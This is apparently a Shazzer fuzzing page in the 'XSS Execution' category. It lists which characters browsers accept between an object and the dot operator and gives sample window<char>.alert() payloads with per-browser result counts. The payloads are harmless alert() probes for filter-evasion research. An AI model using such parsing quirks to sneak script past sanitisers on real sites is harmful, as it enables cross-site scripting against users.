Shazzer logo

Characters allowed between an object and the dot operator

Chrome logo 26
Firefox logo 26
Edge logo 26
Safari logo 26

List of characters allowed between an object and the dot operator located before the method/property.

cold-try
Created bycold-try
Created Apr 15, 2024
Updated May 15, 2025

Tweet
Detecting browser...
CategoryXSS Execution
VisibilityPublic
TypeJS
CharsetUTF-8
Template used:
window$[chr].alert();log($[i])

Sample payloads

window09.alert();alert(9)
window
.alert();alert(10)
window0x0B.alert();alert(11)
window0x0C.alert();alert(12)
window0x0D.alert();alert(13)
window .alert();alert(32)
window?.alert();alert(63)
window .alert();alert(160)
window.alert();alert(5760)
window .alert();alert(8192)
window.alert();alert(8193)
window.alert();alert(8194)
window.alert();alert(8195)
window.alert();alert(8196)
window.alert();alert(8197)
window.alert();alert(8198)
window.alert();alert(8199)
window.alert();alert(8200)
window.alert();alert(8201)
window.alert();alert(8202)

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 26 results
Loading...
Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated18 Feb 2026
Found 26 results
Loading...
Chrome logo
Chrome 123.0.0.0 Unknown Unknownolder version
Updated15 Apr 2024
Found 26 results
Loading...
Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 26 results
Loading...
Firefox logo
Firefox 124.0 Unknown Unknownolder version
Updated15 Apr 2024
Found 26 results
Loading...
Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 26 results
Loading...
Safari logo
Safari 15.5 Unknown Unknown
Updated15 Apr 2024
Found 26 results
Loading...